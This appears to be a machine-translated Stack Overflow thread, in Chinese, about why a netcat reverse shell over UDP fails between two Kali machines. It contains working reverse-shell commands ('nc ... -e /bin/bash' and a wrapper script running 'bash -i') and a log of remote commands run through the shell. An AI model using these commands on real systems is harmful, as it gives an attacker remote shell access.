gpt4 book ai didi

linux - 使用 netcat 和 UDP 的反向 shell 不工作

转载 作者:塔克拉玛干 更新时间:2023-11-02 23:08:25 25 4
gpt4 key购买 nike

我正在尝试使用默认安装的 netcat 在两台 Linux 机器(Kali v. 1.0.9)之间设置反向 shell。使用下面的命令,我能够在两台机器之间建立连接并中继文本信息:

听众:

nc -luvvp <port>

客户:

nc -uvv <ip> <port>

但是,修改客户端的参数以包括在连接时执行 bash:

nc -uvv <ip> <port> -e /bin/bash

并且没有建立连接,我不太确定如何让它工作,这似乎不是其他人遇到过的问题并且不确定如何解决该问题。了解这些命令在正常 TCP 模式下也能正常工作也可能有所帮助,只有在添加 u 标志后它才会停止对 shell 工作。任何帮助将不胜感激,谢谢!

最佳答案

我做了一些实验,意识到通过 UDP 上的 netcat 隧道 shell session 几乎是不可能的。 bash 不知道底层文件描述符是 UDP 套接字 bash 调用缓冲区大小为 1 的 read()。这对于交互式 shell 来说很好,但是当接收到的 UDP 数据报包含超过 1 个字节时,数据是丢失(数据报中的第一个字节除外)。

netcat 在 stdin 处使用标准行缓冲区,整行在单个 UDP 数据报中发送。但是 bash 只读取每行的第一个字节。

另一个问题是客户端netcat是通过命令执行的

nc -uvv -e "/bin/bash" <ip> <port>

不向服务器发送任何数据,因为 bash 是在非交互模式下执行的,它只是等待命令。解决办法是写一个脚本以交互方式执行bash:

$ cat bashinteractive
#!/bin/bash
/bin/bash -i

并调用服务器

$ nc -luvvp <port>

和客户

nc -uvv -e "./bashinteractive" <ip> <port>

但是使用起来很不方便。当每个字节后跟 ENTER

时,可以在服务器上写入命令
$ ./nc -luvvp 6666
listening on [any] 6666 ...
connect to [10.0.2.15] from xxx.yyy.zzz [10.0.2.16] 37552
$ c
cd
d
/
/

$ l
ls
s
-
-l
l

total 92
drwxr-xr-x 2 root root 4096 Feb 7 15:22 bin
....
drwxr-xr-x 13 root root 4096 Oct 16 2013 var
$ e
ex
xi
it
t

exit

sent 30, rcvd 1422 : Connection refused

所以我的建议是使用 netcat 以外的其他工具。也许你可以试试 http://code.google.com/p/udptunnel/

关于linux - 使用 netcat 和 UDP 的反向 shell 不工作,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28424224/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com